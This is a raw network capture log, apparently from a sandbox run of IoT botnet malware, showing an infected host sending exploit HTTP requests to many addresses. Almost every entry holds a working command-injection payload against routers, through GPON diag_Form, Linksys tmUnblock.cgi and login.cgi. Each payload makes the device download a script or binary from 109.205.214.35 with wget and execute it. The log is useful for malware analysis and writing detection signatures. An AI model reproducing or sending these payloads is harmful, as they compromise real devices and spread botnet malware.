Mar 21, 2024 05:22:11.221255064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
567	192.168.2.14	51546	94.148.126.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221285105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
568	192.168.2.14	50648	109.111.166.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221285105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
569	192.168.2.14	42850	109.174.194.141	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221323013 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
570	192.168.2.14	32822	210.70.190.91	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221366882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
571	192.168.2.14	48414	212.110.8.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221417904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
572	192.168.2.14	33404	5.71.52.4	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221441984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
573	192.168.2.14	53238	79.150.11.111	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221465111 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
574	192.168.2.14	55344	37.66.32.184	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221497059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
575	192.168.2.14	50430	109.43.198.143	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221534967 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
576	192.168.2.14	50684	210.49.252.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221564054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
577	192.168.2.14	46856	178.241.146.43	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221581936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
578	192.168.2.14	58866	37.128.60.46	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221627951 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
579	192.168.2.14	41738	79.236.79.252	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221652031 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
580	192.168.2.14	60790	42.215.221.229	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221664906 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
581	192.168.2.14	48324	5.98.47.80	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221724033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
582	192.168.2.14	39986	79.164.133.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221743107 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
583	192.168.2.14	52858	178.107.71.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221772909 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.14	58420	210.220.148.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221776962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.14	40714	5.206.184.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221807957 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.14	44050	94.195.89.21	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.221846104 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.14	46064	172.65.120.219	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.321599007 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.14	56780	172.65.0.196	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.412683010 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.14	54668	34.117.58.116	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:22:11.554950953 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.14	50050	32.221.11.182	7547

Timestamp	Bytes transferred	Direction	Data
